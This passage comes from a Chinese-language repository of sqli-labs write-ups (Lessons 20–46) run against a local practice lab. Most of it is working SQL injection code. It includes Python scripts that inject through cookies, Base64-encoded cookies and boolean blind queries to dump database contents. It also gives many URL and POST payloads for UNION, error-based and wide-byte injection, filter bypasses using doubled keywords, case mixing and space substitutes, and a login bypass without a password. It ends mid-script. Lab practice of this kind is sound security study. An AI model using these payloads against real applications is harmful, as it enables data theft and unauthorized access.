后台获取到这个cookie后 , 会直接拿去数据库里面进行比较 , 比较的时候就有可能注入(这里指的注入的危害种类应该很多 , 可以通过报错注入dump数据库中的数据 , 也可能查询利用cookie机制进行越权操作) 7 | ``` 8 | import requests 9 | 10 | url = "http://127.0.0.1/Less-20/" 11 | 12 | postDate = { 13 | 'uname':'admin', 14 | 'passwd':'admin' 15 | } 16 | 17 | headers = { 18 | 'Host':'127.0.0.1', 19 | 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0', 20 | 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 21 | 'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 22 | 'Accept-Encoding':'gzip, deflate', 23 | 'Referer':'http://127.0.0.1/Less-20/index.php', 24 | 'Cookie':'uname=\' union select 1,group_concat(schema_name),3 from information_schema.schemata#', 25 | 'Connection':'keep-alive', 26 | 'Upgrade-Insecure-Requests':'1', 27 | 'Cache-Control':'max-age=0' 28 | } 29 | 30 | content = (requests.post(url, data=postDate, headers=headers).text) 31 | print(content) 32 | ``` 33 | > 后记 : 34 | 这里将用户名直接从数据库中查询出来 , 这样可以利用这个漏洞从数据库中dump出数据 , 考虑一下会不会存在越权的风险 , 比如说控制SQL语句让查询出的结果集指向别的用户 35 | -------------------------------------------------------------------------------- /writeup/Lesson-21.md: -------------------------------------------------------------------------------- 1 | # Lesson-21 2 | ``` 3 | Base64编码-,-明注Cookie注入) 4 | ``` 5 | 6 | 此题和上题也是差不多 , 只不过在Cookie中把uname这个字段Base64了一下 , 将注入语句Base64编码以后再发送HTTP请求就可以了 , 还有就是sql语句有一点变化 , 加上了括号 7 | 8 | ``` 9 | import requests 10 | import base64 11 | 12 | url = "http://127.0.0.1/Less-21/" 13 | 14 | postDate = { 15 | 'uname':'admin', 16 | 'passwd':'admin' 17 | } 18 | 19 | headers = { 20 | 'Host':'127.0.0.1', 21 | 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0', 22 | 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 23 | 'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 24 | 'Accept-Encoding':'gzip, deflate', 25 | 'Referer':'http://127.0.0.1/Less-20/index.php', 26 | 'Cookie':"uname="+base64.b64encode("\') union select 1,group_concat(schema_name),3 from information_schema.schemata-- "), 27 | 'Connection':'keep-alive', 28 | 'Upgrade-Insecure-Requests':'1', 29 | 'Cache-Control':'max-age=0' 30 | } 31 | 32 | content = (requests.post(url, data=postDate, headers=headers).text) 33 | print(content) 34 | ``` 35 | -------------------------------------------------------------------------------- /writeup/Lesson-22.md: -------------------------------------------------------------------------------- 1 | # Lesson-22 2 | ``` 3 | Base64编码-,-明注Cookie注入) 4 | ``` 5 | 6 | 同样只是稍微修改了SQL语句 , 双引号 , 没有括号 7 | ``` 8 | import requests 9 | import base64 10 | 11 | url = "http://127.0.0.1/Less-22/" 12 | 13 | postDate = { 14 | 'uname':'admin', 15 | 'passwd':'admin' 16 | } 17 | 18 | headers = { 19 | 'Host':'127.0.0.1', 20 | 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0', 21 | 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 22 | 'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 23 | 'Accept-Encoding':'gzip, deflate', 24 | 'Referer':'http://127.0.0.1/Less-20/index.php', 25 | 'Cookie':"uname="+base64.b64encode("\" union select 1,group_concat(schema_name),3 from information_schema.schemata-- "), 26 | 'Connection':'keep-alive', 27 | 'Upgrade-Insecure-Requests':'1', 28 | 'Cache-Control':'max-age=0' 29 | } 30 | 31 | content = (requests.post(url, data=postDate, headers=headers).text) 32 | print(content) 33 | ``` 34 | -------------------------------------------------------------------------------- /writeup/Lesson-23.md: -------------------------------------------------------------------------------- 1 | # Lesson-23 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | 14 | # config-start 15 | sleep_time = 5 16 | error_time = 1 17 | # config-end 18 | 19 | def getPayload(indexOfResult, indexOfChar, mid): 20 | column_name="schema_name" 21 | table_name="schemata" 22 | database_name="information_schema" 23 | startStr = "1' and (" 24 | endStr = ") and ''='" 25 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 26 | payload = startStr + payload + endStr 27 | return payload 28 | 29 | def exce(indexOfResult,indexOfChar,mid): 30 | # content-start 31 | url = "http://127.0.0.1/Less-23/?id=" 32 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 33 | content = requests.get(tempurl).text 34 | # content-end 35 | # judge-start 36 | if "Your Login name:" in content: 37 | return True 38 | else: 39 | return False 40 | # judge-end 41 | 42 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 43 | while left_number < right_number: 44 | mid = int((left_number + right_number) / 2) 45 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 46 | left_number = mid 47 | else: 48 | right_number = mid 49 | if left_number == right_number - 1: 50 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 51 | mid += 1 52 | break 53 | else: 54 | break 55 | return chr(mid) 56 | 57 | def search(): 58 | for i in range(32): # 需要遍历的查询结果的数量 59 | counter = 0 60 | for j in range(32): # 结果的长度 61 | counter += 1 62 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 63 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 64 | break 65 | sys.stdout.write(temp) 66 | sys.stdout.flush() 67 | if counter == 1: # 当结果集的所有行都被遍历后退出 68 | break 69 | sys.stdout.write("\r\n") 70 | sys.stdout.flush() 71 | 72 | search() 73 | ``` 74 | -------------------------------------------------------------------------------- /writeup/Lesson-24.md: -------------------------------------------------------------------------------- 1 | # Lesson-24 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-25.md: -------------------------------------------------------------------------------- 1 | # Lesson-25 2 | ``` 3 | Bool盲注-,-双写绕过-,-明注 4 | ``` 5 | 6 | 本题主要是通过双写来绕过一次性的关键字替换 7 | --- 8 | 明注 9 | http://127.0.0.1/Less-25/?id=0%27union%20select%201,group_concat(schema_name),3%20from%20infoorrmation_schema.schemata--+ 10 | 11 | --- 12 | 盲注 13 | 14 | ``` 15 | http://127.0.0.1/Less-25/?id=1%27%20anandd%201--+ 16 | http://127.0.0.1/Less-25/?id=1%27%20anandd%20()--+ 17 | ``` 18 | 修改之前关卡的脚本利用盲注即可dump出所有数据 19 | -------------------------------------------------------------------------------- /writeup/Lesson-26.md: -------------------------------------------------------------------------------- 1 | # Lesson-26 2 | ``` 3 | 报错注入-,-Bool盲注-,-利用SQL语法绕过空格过滤 4 | ``` 5 | 6 | 利用报错注入证明可以dump数据 7 | ``` 8 | http://127.0.0.1/Less-26/?id=0%27||(updatexml(1,concat(0x5e,version(),0x5e),1))||%27%27=%27dsa 9 | ``` 10 | 重新利用明注脚本批量跑 11 | 这个好叼 12 | ``` 13 | select(mid(user()from(4)for(1))) 14 | ``` 15 | 没有空格 , 没有逗号 16 | ``` 17 | select(schema_name)from(information_schema.schemata) 18 | ``` 19 | 这样也没有空格 20 | 然后结合一下 21 | ``` 22 | select(mid((concat((select(group_concat(username))from(users))))from(7)for(1))); 23 | ``` 24 | 只需要修改中间的select和from后面的偏移就可以dump数据 25 | ``` 26 | select(ascii(mid((concat((select(group_concat(username))from(users))))from(7)for(1)))>255); 27 | ``` 28 | 这样就可以盲注 29 | ``` 30 | select(ascii(mid((concat((select(group_concat(schema_name))from(information_schema.schemata))))from(7)for(1)))<255); 31 | ``` 32 | 测试一下 : 33 | ``` 34 | #!/usr/bin/env python 35 | # encoding:utf8 36 | 37 | import requests 38 | import time 39 | import sys 40 | 41 | # config-start 42 | sleep_time = 5 43 | error_time = 1 44 | # config-end 45 | 46 | def getPayload(indexOfChar, mid): 47 | column_name="schema_name" 48 | table_name="schemata" 49 | database_name="information_schema" 50 | startStr = "0'||(" 51 | endStr = ")||'1'='" 52 | payload = "select(ascii(mid((concat((select(group_concat(" + column_name + "))from(" + database_name + "." + table_name + "))))from(" + indexOfChar + ")for(1)))>" + mid + ")" 53 | payload = startStr + payload + endStr 54 | # 绕过对or的过滤 55 | payload = payload.replace("or","oorr") 56 | return payload 57 | 58 | def exce(indexOfChar,mid): 59 | # content-start 60 | url = "http://127.0.0.1/Less-26/?id=" 61 | tempurl = url + getPayload(indexOfChar,mid) 62 | content = requests.get(tempurl).text 63 | # content-end 64 | # judge-start 65 | if "Your Login name:" in content: 66 | return True 67 | else: 68 | return False 69 | # judge-end 70 | 71 | def doubleSearch(indexOfChar,left_number, right_number): 72 | while left_number < right_number: 73 | mid = int((left_number + right_number) / 2) 74 | if exce(str(indexOfChar + 1),str(mid)): 75 | left_number = mid 76 | else: 77 | right_number = mid 78 | if left_number == right_number - 1: 79 | if exce(str(indexOfChar + 1),str(mid)): 80 | mid += 1 81 | break 82 | else: 83 | break 84 | return chr(mid) 85 | 86 | def search(): 87 | for j in range(1024): # 结果的长度 88 | temp = doubleSearch(j, 0, 128) # 从255开始查询 89 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 90 | break 91 | if temp == ",": 92 | print "" 93 | else: 94 | sys.stdout.write(temp) 95 | sys.stdout.flush() 96 | print "" 97 | 98 | search() 99 | ``` 100 | -------------------------------------------------------------------------------- /writeup/Lesson-27.md: -------------------------------------------------------------------------------- 1 | # Lesson-27 2 | ``` 3 | Bool盲注-,-双写绕过-,-随机大小写绕过-,-报错注入-,-特殊字符替换空格 4 | ``` 5 | 6 | 思路一 : 7 | ``` 8 | http://127.0.0.1/Less-27/?id=0%27||()||%271%27=%27--+ 9 | 利用注入点盲注 10 | ``` 11 | 思路二 : [参考资料](http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html) 12 | ``` 13 | 利用回显明注 , 过滤了union , 可以通过双写来绕过 , 或者大小写混写来绕过 14 | 卧槽这个太屌了 15 | http://127.0.0.1/Less-27/?id=0%27%a0UnION%a0SelECT(user()),2,3%27 16 | %a0 是什么鬼 17 | 有待研究 18 | ``` 19 | 思路三 : 20 | ``` 21 | 利用报错注入 22 | http://127.0.0.1/Less-27/?id=0%27||(updatexml(1,concat(0x5e5e,version(),0x5e5e),1))||%271%27=%27--+ 23 | ``` 24 | 思路四 : 25 | ``` 26 | 强行制造空格 , URL编码 + 注释 27 | http://127.0.0.1/Less-28/?id=0/*%0a*/and/*%0a*/0--+ 28 | http://127.0.0.1/Less-27/?id=0%27/*%0a*/or/*%0a*/%27%27=%27 29 | ``` 30 | -------------------------------------------------------------------------------- /writeup/Lesson-28.md: -------------------------------------------------------------------------------- 1 | 思路一 : 2 | ``` 3 | 盲注 : (%0d %0a 都可以达到空格的效果) 4 | http://127.0.0.1/Less-28/?id=0%27/*%0a*/or()or/*%0a*/%27%27=%271 5 | ``` 6 | 7 | > 后记 : 8 | 构造空格 : 9 | * %0a 10 | * %0d 11 | * %20 12 | * %0b 13 | * %a0 14 | * /*%0a*/ 15 | -------------------------------------------------------------------------------- /writeup/Lesson-28a.md: -------------------------------------------------------------------------------- 1 | # Lesson-28 2 | 3 | ``` 4 | Bool 盲注 , 明注 , 替换空格 , 随机大小写绕过 5 | ``` 6 | 7 | 这个Payload基本通杀 : 8 | ``` 9 | http://127.0.0.1/Less-28a/?id=0%27%20or()or%20%27%27=%271 10 | 直接盲注就行 11 | ``` 12 | 这样也可以明注 : 13 | ``` 14 | http://127.0.0.1/Less-28a/?id=0%27)/**/UnION/**/select/**/1,1,group_concat(schema_name)/**/from/**/information_schema.schemata/**/where/**/(%27%27=%27 15 | ``` 16 | -------------------------------------------------------------------------------- /writeup/Lesson-29.md: -------------------------------------------------------------------------------- 1 | # Lesson-29 2 | ``` 3 | 明注-,-替换空格-,-Bool盲注 4 | ``` 5 | 6 | 这道题发现页面中会显示出GET过去的参数 7 | 不过好像没有URL解码... 8 | 好奇怪 , 感觉好像是传过去之后又被编码了 , 还没有看源码 , 暂时不能确定 9 | 这样的话 , 说明执行的SQL语句就是URL编码以后的 , 这样肯定是不行的 10 | 用Burp抓包重放试试 11 | --- 12 | > 后记 : 13 | URL编码过滤了空格等等特殊字符 , 可以通过这样验证存在注入点 14 | ``` 15 | http://127.0.0.1/Less-29/?id=0'union/**/select/**/1,1,1/**/--+ 16 | http://127.0.0.1/Less-29/?id=0%27union/**/select/**/1,group_concat(schema_name),1/**/from/**/information_schema.schemata--+ 17 | 这样就可以dump数据了 18 | ``` 19 | 20 | --- 21 | >后记 : 22 | ``` 23 | 还是可以利用前面的Payload通杀盲注 24 | http://127.0.0.1/Less-28a/?id=0%27%20or()or%20%27%27=%271 25 | ``` 26 | ``` 27 | 后来发现这个Payload还可以简化 28 | 在mysql中也有弱类型机制 , '0' 和 '1' 可以分别表示假和真 29 | 简化后 : 30 | ?id=0'||()||'0 31 | ``` 32 | -------------------------------------------------------------------------------- /writeup/Lesson-30.md: -------------------------------------------------------------------------------- 1 | # Lesson-30 2 | ``` 3 | Bool盲注-,-明注 4 | ``` 5 | 6 | 和上道题思路一样 7 | 可以通过盲注也可以明注 8 | 9 | 明注验证Payload : 10 | ``` 11 | http://127.0.0.1/Less-30/?id=0%22union/**/select/**/1,group_concat(schema_name),1/**/from/**/information_schema.schemata--+ 12 | ``` 13 | 14 | 盲注验证Payload : 15 | ``` 16 | http://127.0.0.1/Less-30/?id=0%22||0--+ 17 | http://127.0.0.1/Less-30/?id=0%22||1--+ 18 | ``` 19 | -------------------------------------------------------------------------------- /writeup/Lesson-31.md: -------------------------------------------------------------------------------- 1 | # Lesson-31 2 | ``` 3 | Bool盲注-,-明注 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-31/?id=1%22 8 | 通过上述语句的回显信息可以推断出 : ("$id") 9 | 剩下的思路和上题相同 , 不再赘述 10 | ``` 11 | ``` 12 | http://127.0.0.1/Less-31/?id=0%22)||1--+ 13 | http://127.0.0.1/Less-31/?id=0%22)||0--+ 14 | ``` 15 | ``` 16 | http://127.0.0.1/Less-31/?id=0%22)union/**/select/**/1,group_concat(schema_name),1/**/from/**/information_schema.schemata--+ 17 | ``` 18 | -------------------------------------------------------------------------------- /writeup/Lesson-32.md: -------------------------------------------------------------------------------- 1 | # Lesson-32 2 | ``` 3 | Bool盲注-,-明注-,-宽字节绕过 4 | ``` 5 | 6 | 宽字节注入 : 7 | ``` 8 | http://127.0.0.1/Less-32/?id=0%df\%27||1--+ 9 | http://127.0.0.1/Less-32/?id=0%df\%27||0--+ 10 | ``` 11 | ``` 12 | http://127.0.0.1/Less-32/?id=0%df%27union%20select%201,group_concat(schema_name),1%20from%20information_schema.schemata--+ 13 | ``` 14 | -------------------------------------------------------------------------------- /writeup/Lesson-33.md: -------------------------------------------------------------------------------- 1 | # Lesson-33 2 | ``` 3 | 明注-,-宽字节绕过 4 | ``` 5 | 6 | 可以和上题使用相同的Payload , 可以dump出数据 7 | ``` 8 | http://127.0.0.1/Less-33/?id=0%df%27union%20select%201,group_concat(schema_name),1%20from%20information_schema.schemata--+ 9 | ``` 10 | -------------------------------------------------------------------------------- /writeup/Lesson-34.md: -------------------------------------------------------------------------------- 1 | # Lesson-34 2 | ``` 3 | 宽字节绕过-,-水平越权-,-Bool盲注-,-明注 4 | ``` 5 | 6 | 表单 , 需要POST提交 , 这次真是得用Burp了 7 | ``` 8 | POST /Less-34/ HTTP/1.1 9 | Host: 127.0.0.1 10 | Content-Length: 37 11 | Cache-Control: max-age=0 12 | Origin: http://127.0.0.1 13 | Upgrade-Insecure-Requests: 1 14 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 15 | Content-Type: application/x-www-form-urlencoded 16 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 17 | Referer: http://127.0.0.1/Less-34/ 18 | Accept-Encoding: gzip, deflate, br 19 | Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 20 | Connection: close 21 | 22 | uname=admin%df'&passwd=&submit=Submit 23 | ``` 24 | 响应体中出现SQL语法错误 : 25 | ``` 26 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin�\'' and password='' LIMIT 0,1' at line 1 27 | ``` 28 | 重新构造畸形用户名 : 29 | ``` 30 | POST /Less-34/ HTTP/1.1 31 | Host: 127.0.0.1 32 | Content-Length: 46 33 | Cache-Control: max-age=0 34 | Origin: http://127.0.0.1 35 | Upgrade-Insecure-Requests: 1 36 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 37 | Content-Type: application/x-www-form-urlencoded 38 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 39 | Referer: http://127.0.0.1/Less-34/ 40 | Accept-Encoding: gzip, deflate, br 41 | Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 42 | Connection: close 43 | 44 | uname=admin%df'or%201%23&passwd=&submit=Submit 45 | ``` 46 | 我们没有输入密码 , 却成功登陆 , 已越权 47 | 或者可以这样 , 获取别的用户的信息 , 水平越权 48 | ``` 49 | uname=admin%df'or%201%20limit%201,1%23&passwd=&submit=Submit 50 | uname=admin%df'or%201%20limit%202,1%23&passwd=&submit=Submit 51 | uname=admin%df'or%201%20limit%203,1%23&passwd=&submit=Submit 52 | ... 53 | ``` 54 | 由于这里会将数据库中匹配的用户名和密码回显在页面 , 这样我们可以利用这个注入点进行明注 , 查询整个数据库的其他数据 : 55 | ``` 56 | uname=admin%df'or%200%20union%20select%201,1%23&passwd=&submit=Submit 57 | uname=admin%df'or%200%20union%20select%201,group_concat(schema_name)%20from%20information_schema.schemata%23&passwd=&submit=Submit 58 | ``` 59 | --- 60 | 盲注 61 | 还是利用之前的通杀Payload 62 | ``` 63 | uname=admin%df'or()or%200%23&passwd=&submit=Submit 64 | ``` 65 | 括号的地方可以进行盲注 66 | -------------------------------------------------------------------------------- /writeup/Lesson-35.md: -------------------------------------------------------------------------------- 1 | # Lesson-35 2 | ``` 3 | Bool盲注-,-明注 4 | ``` 5 | 6 | 盲注 : 7 | ``` 8 | http://127.0.0.1/Less-35/?id=0||()--+ 9 | ``` 10 | 明注 : 11 | ``` 12 | http://127.0.0.1/Less-35/?id=0%20union%20select%201,1,group_concat(schema_name)%20from%20information_schema.schemata--+ 13 | ``` 14 | -------------------------------------------------------------------------------- /writeup/Lesson-36.md: -------------------------------------------------------------------------------- 1 | # Lesson-36 2 | ``` 3 | 明注-,-Bool盲注-,-宽字节绕过 4 | ``` 5 | 6 | 明注 : 7 | ``` 8 | http://127.0.0.1/Less-36/?id=0%df%27%20union%20select%201,1,group_concat(schema_name)%20from%20information_schema.schemata--+ 9 | ``` 10 | 盲注 : 11 | ``` 12 | http://127.0.0.1/Less-36/?id=0%df%27||1--+ 13 | http://127.0.0.1/Less-36/?id=0%df%27||1--+ 14 | ``` 15 | -------------------------------------------------------------------------------- /writeup/Lesson-37.md: -------------------------------------------------------------------------------- 1 | # Lesson-37 2 | ``` 3 | 4 | ``` 5 | 6 | POST表单 , Burp抓包重放 : 7 | ``` 8 | Payload可以参考Less34 9 | ``` 10 | -------------------------------------------------------------------------------- /writeup/Lesson-38.md: -------------------------------------------------------------------------------- 1 | # Lesson-38 2 | ``` 3 | Bool盲注-,-宽字节绕过 4 | ``` 5 | 6 | 盲注证明 : 7 | ``` 8 | http://127.0.0.1/Less-38/?id=0%df'|(1)--+ 9 | http://127.0.0.1/Less-38/?id=0%df'|(1)--+ 10 | ``` 11 | > 后记 : 12 | 证明盲注 13 | `?id='|'1` 14 | `?id='|'0` 15 | 16 | --- 17 | 明注 : 18 | ``` 19 | http://127.0.0.1/Less-38/?id=0%df%27%20union%20select%201,1,1--+ 20 | ``` 21 | 还是利用宽字节可以成功绕过 22 | ``` 23 | http://127.0.0.1/Less-38/?id=0%df%27%20union%20select%201,1,group_concat(schema_name)%20from%20information_schema.schemata--+ 24 | ``` 25 | > 后记 : 26 | 感觉好多题目都被我水过去了 , 好多题目都是通杀的Payload , 没有领会到题目的本意 , 以后一定重新做 27 | -------------------------------------------------------------------------------- /writeup/Lesson-39.md: -------------------------------------------------------------------------------- 1 | # Lesson-39 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | 这里union被过滤 7 | 双写不能绕过 , 大小写混写也不行 , 但是发现可以使用CHAR函数 , 可以利用这个函数对数据库进行注入 8 | //TODO 如何使用CHAR拖库 9 | 10 | --- 11 | 其他思路 : 12 | 盲注验证 : 13 | ``` 14 | http://127.0.0.1/Less-39/?id=0|(1) 15 | http://127.0.0.1/Less-39/?id=0|(0) 16 | ``` 17 | 盲注脚本 : 18 | 还是以前的脚本 , 稍微改了改 19 | // TODO 将脚本再改改 , 当查询所有的数据库名以后提示用户选择是否继续查询其他数据 20 | // 或者直接就自动dump所有数据(可以过滤掉`information_schema`等系统数据库) 21 | ``` 22 | #!/usr/bin/env python 23 | # encoding:utf8 24 | 25 | import requests 26 | import time 27 | import sys 28 | 29 | # config-start 30 | sleep_time = 5 31 | error_time = 1 32 | # config-end 33 | 34 | def getPayload(indexOfResult, indexOfChar, mid): 35 | column_name="schema_name" 36 | table_name="schemata" 37 | database_name="information_schema" 38 | startStr = "0|(" 39 | endStr = ")" 40 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 41 | payload = startStr + payload + endStr 42 | return payload 43 | 44 | def exce(indexOfResult,indexOfChar,mid): 45 | # content-start 46 | url = "http://127.0.0.1/Less-39/?id=" 47 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 48 | content = requests.get(tempurl).text 49 | # content-end 50 | # judge-start 51 | if "Your Username is :" in content: 52 | return True 53 | else: 54 | return False 55 | # judge-end 56 | 57 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 58 | while left_number < right_number: 59 | mid = int((left_number + right_number) / 2) 60 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 61 | left_number = mid 62 | else: 63 | right_number = mid 64 | if left_number == right_number - 1: 65 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 66 | mid += 1 67 | break 68 | else: 69 | break 70 | return chr(mid) 71 | 72 | def search(): 73 | for i in range(32): # 需要遍历的查询结果的数量 74 | counter = 0 75 | for j in range(32): # 结果的长度 76 | counter += 1 77 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 78 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 79 | break 80 | sys.stdout.write(temp) 81 | sys.stdout.flush() 82 | if counter == 1: # 当结果集的所有行都被遍历后退出 83 | break 84 | sys.stdout.write("\r\n") 85 | sys.stdout.flush() 86 | 87 | search() 88 | ``` 89 | -------------------------------------------------------------------------------- /writeup/Lesson-40.md: -------------------------------------------------------------------------------- 1 | # Lesson-40 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | 盲注 7 | ``` 8 | http://127.0.0.1/Less-40/?id=0'or(1)or ''='1 9 | http://127.0.0.1/Less-40/?id=0'or(0)or ''='1 10 | ``` 11 | ``` 12 | #!/usr/bin/env python 13 | # encoding:utf8 14 | 15 | import requests 16 | import time 17 | import sys 18 | 19 | # config-start 20 | sleep_time = 5 21 | error_time = 1 22 | # config-end 23 | 24 | def getPayload(indexOfResult, indexOfChar, mid): 25 | column_name="schema_name" 26 | table_name="schemata" 27 | database_name="information_schema" 28 | startStr = "0'or(" 29 | endStr = ")or ''='1" 30 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 31 | payload = startStr + payload + endStr 32 | # temper 33 | # payload = payload.replace(" ","/**/") 34 | # payload = payload.replace("or","oorr") 35 | return payload 36 | 37 | def exce(indexOfResult,indexOfChar,mid): 38 | # content-start 39 | url = "http://127.0.0.1/Less-40/?id=" 40 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 41 | # print tempurl 42 | content = requests.get(tempurl).text 43 | # print content 44 | # content-end 45 | # judge-start 46 | if "Your Username is :" in content: 47 | return True 48 | else: 49 | return False 50 | # judge-end 51 | 52 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 53 | while left_number < right_number: 54 | mid = int((left_number + right_number) / 2) 55 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 56 | left_number = mid 57 | else: 58 | right_number = mid 59 | if left_number == right_number - 1: 60 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 61 | mid += 1 62 | break 63 | else: 64 | break 65 | return chr(mid) 66 | 67 | def search(): 68 | for i in range(32): # 需要遍历的查询结果的数量 69 | counter = 0 70 | for j in range(32): # 结果的长度 71 | counter += 1 72 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 73 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 74 | break 75 | sys.stdout.write(temp) 76 | sys.stdout.flush() 77 | if counter == 1: # 当结果集的所有行都被遍历后退出 78 | break 79 | sys.stdout.write("\r\n") 80 | sys.stdout.flush() 81 | 82 | search() 83 | ``` 84 | -------------------------------------------------------------------------------- /writeup/Lesson-41.md: -------------------------------------------------------------------------------- 1 | # Lesson-41 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | 14 | # config-start 15 | sleep_time = 5 16 | error_time = 1 17 | # config-end 18 | 19 | def getPayload(indexOfResult, indexOfChar, mid): 20 | column_name="schema_name" 21 | table_name="schemata" 22 | database_name="information_schema" 23 | # http://127.0.0.1/Less-41/?id= 24 | startStr = "1 and (" 25 | endStr = ")" 26 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 27 | payload = startStr + payload + endStr 28 | # temper 29 | # payload = payload.replace(" ","/**/") 30 | # payload = payload.replace("or","oorr") 31 | return payload 32 | 33 | def exce(indexOfResult,indexOfChar,mid): 34 | # content-start 35 | url = "http://127.0.0.1/Less-41/?id=" 36 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 37 | # print tempurl 38 | content = requests.get(tempurl).text 39 | # print content 40 | # content-end 41 | # judge-start 42 | if "Your Username is :" in content: 43 | return True 44 | else: 45 | return False 46 | # judge-end 47 | 48 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 49 | while left_number < right_number: 50 | mid = int((left_number + right_number) / 2) 51 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 52 | left_number = mid 53 | else: 54 | right_number = mid 55 | if left_number == right_number - 1: 56 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 57 | mid += 1 58 | break 59 | else: 60 | break 61 | return chr(mid) 62 | 63 | def search(): 64 | for i in range(32): # 需要遍历的查询结果的数量 65 | counter = 0 66 | for j in range(32): # 结果的长度 67 | counter += 1 68 | temp = doubleSearch(i, j, 0, 128) # 从255开始查询 69 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 70 | break 71 | sys.stdout.write(temp) 72 | sys.stdout.flush() 73 | if counter == 1: # 当结果集的所有行都被遍历后退出 74 | break 75 | sys.stdout.write("\r\n") 76 | sys.stdout.flush() 77 | 78 | search() 79 | ``` 80 | -------------------------------------------------------------------------------- /writeup/Lesson-42.md: -------------------------------------------------------------------------------- 1 | # Lesson-42 2 | ``` 3 | 4 | ``` 5 | 6 | 用户登陆界面 , 注册一个用户然后登陆后 , 进入主页 , 发现有修改密码的功能 : 7 | 猜测SQL语句为 : 8 | ``` 9 | SELECT id,password FROM users WHERE username='admin'; 10 | UPDATE users SET password = 'new_password' WHERE id=''; 11 | ``` 12 | 如果是这样的话 , 可以做文章的就是第二句 : 控制 `new_password` 这句 13 | // 或者控制第一句 , 让选出来的ID被我们控制 , 比如说利用union select , 这个是突然想到的 , 不知道是否可行 14 | // 第一句中的`username`不知道是不是可以被我们控制 15 | 分析到这里 , 用Burp抓包看看 16 | // 还有突然想到 , 这里由于会把用户的信息打印出来 , 说不定登陆的时候也可能存在注入点 , 说不定可以越权访问 17 | -------------------------------------------------------------------------------- /writeup/Lesson-43.md: -------------------------------------------------------------------------------- 1 | # Lesson-43 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-44.md: -------------------------------------------------------------------------------- 1 | # Lesson-44 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-45.md: -------------------------------------------------------------------------------- 1 | # Lesson-45 2 | 3 | ``` 4 | // TODO 5 | ``` 6 | -------------------------------------------------------------------------------- /writeup/Lesson-46.md: -------------------------------------------------------------------------------- 1 | # Lesson-46 2 | ``` 3 | 报错注入 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-46/?sort=1%20and%20(updatexml(1,concat(0x5e24,(user()),0x5e24),1)) 8 | ``` 9 | 简单利用脚本 : 10 | ``` 11 | import requests 12 | sql = "select username from security.users limit 6,1" 13 | url = 